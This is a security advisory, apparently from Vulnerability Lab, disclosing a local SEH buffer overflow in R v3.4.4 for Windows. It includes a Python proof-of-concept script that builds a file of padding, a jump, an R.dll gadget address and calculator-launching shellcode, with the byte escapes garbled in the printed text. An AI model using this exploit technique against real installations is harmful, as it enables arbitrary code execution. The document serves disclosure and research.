Document Title:
===============
R v3.4.4 Software - (SEH) Buffer Overflow Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2143
Release Date:
=============
2018-08-26
Vulnerability Laboratory ID (VL-ID):
====================================
2143
Common Vulnerability Scoring System:
====================================
6.5
Vulnerability Class:
====================
Buffer Overflow
Current Estimated Price:
========================
2.000€ - 3.000€
Product & Service Introduction:
===============================
R is a language and environment for statistical computing and graphics. It is a GNU project which is similar to
the S language and environment which was developed at Bell Laboratories (formerly AT&T, now Lucent Technologies)
by John Chambers and colleagues. R can be considered as a different implementation of S. There are some important
differences, but much code written for S runs unaltered under R. R is available as Free Software under the terms
of the Free Software Foundation’s GNU General Public License in source code form. It compiles and runs on a wide
variety of UNIX platforms and similar systems (including FreeBSD and Linux), Windows and MacOS.
(Copy of the Homepage: https://www.r-project.org/about.html )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a buffer overflow vulnerability in the official R v3.4.4 software.
Vulnerability Disclosure Timeline:
==================================
2018-08-27: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
R Project
Product: R - Software (Windows & MacOS) 3.4.4
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
A local buffer overflow vulnerability has been discovered in the official R v3.4.4 software.
The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process.
The issue can be exploited by local attackers with system privileges to compromise the affected local computer system.
The vulnerability is marked as classic buffer overflow issue.
Proof of Concept (PoC):
=======================
The local buffer overflow vulnerability can be exploited by local attackers without user interaction and with system privileges.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability:
under GUI preferences
paste bo.txt contents into 'Language for menus and messages' click ok -->
Now the calculator executes!
--- PoC (Exploit) ---
#--------------------------------------------------------#
#Exploit Title: R v3.4.4 - (SEH) Buffer Overflow Exploit
#Exploit Author : ZwX
#Exploit Date: 2018-08-22
#Vendor Homepage : https://www.r-project.org/
#Tested on OS: Windows 7
#Social: twitter.com/ZwX2a
#contact: [email protected]
#Website: http://zwx-pentester.fr/
#--------------------------------------------------------#
#!/usr/bin/python
from struct import pack
buffer = "x41" * 900
a = "xebx14x90x90"
b = pack("<I",0x6cb85492) #pop esi # pop ebp # ret 04 | {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.4.4 (C:Program FilesRR-3.4.4bini386R.dll)
calc=("xdbxd7xd9x74x24xf4xb8x79xc4x64xb7x33xc9xb1x38"
"x5dx83xc5x04x31x45x13x03x3cxd7x86x42x42x3fxcf"
"xadxbaxc0xb0x24x5fxf1xe2x53x14xa0x32x17x78x49"
"xb8x75x68xdaxccx51x9fx6bx7ax84xaex6cx4ax08x7c"
"xaexccxf4x7exe3x2exc4xb1xf6x2fx01xafxf9x62xda"
"xa4xa8x92x6fxf8x70x92xbfx77xc8xecxbax47xbdx46"
"xc4x97x6exdcx8ex0fx04xbax2ex2exc9xd8x13x79x66"
"x2axe7x78xaex62x08x4bx8ex29x37x64x03x33x7fx42"
"xfcx46x8bxb1x81x50x48xc8x5dxd4x4dx6ax15x4exb6"
"x8bxfax09x3dx87xb7x5ex19x8bx46xb2x11xb7xc3x35"
"xf6x3ex97x11xd2x1bx43x3bx43xc1x22x44x93xadx9b"
"xe0xdfx5fxcfx93xbdx35x0ex11xb8x70x10x29xc3xd2"
"x79x18x48xbdxfexa5x9bxfaxf1xefx86xaax99xa9x52"
"xefxc7x49x89x33xfexc9x38xcbx05xd1x48xcex42x55"
"xa0xa2xdbx30xc6x11xdbx10xa5xafx7fxccx43xa1x1b"
"x9dxe4x4exb8x32x72xc3x34xd0xe9x10x87x46x91x37"
"x8bx15x7bxd2x2bxbfx83")
nops = "x90" * 20
poc = buffer + a + b + nops + calc
file = open("bo.txt","w")
file.write(poc)
file.close()
print "POC Created by ZwX"
Solution - Fix & Patch:
=======================
The solution could be to restrict and filter the number of characters on input of 'Language for menus and messages'.
Security Risk:
==============
The security risk of the local unicode buffer overflow vulnerability in the r software core is estimated as high.
Credits & Authors:
==================
ZwX [[email protected]] - https://www.vulnerability-lab.com/show.php?user=ZwX
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation